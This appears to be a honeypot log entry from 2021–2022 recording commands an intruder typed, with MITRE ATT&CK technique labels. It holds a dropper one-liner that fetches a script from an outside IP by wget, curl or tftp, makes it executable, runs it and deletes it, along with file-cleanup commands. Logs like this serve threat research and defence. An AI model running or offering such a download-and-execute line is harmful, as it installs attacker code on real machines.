Honeypot attack session (period 2021_2022), commands issued:
enable
system
shell
sh
linuxshell
cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
rm -rf nig.sh; rm -rf miori.*; wget http://2.56.59.225/nig.sh || curl -O http://2.56.59.225/nig.sh || tftp 2.56.59.225 -c get nig.sh || tftp -g -r nig.sh 2.56.59.225; chmod 777 nig.sh;./nig.sh ssh; rm -rf nig.sh

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal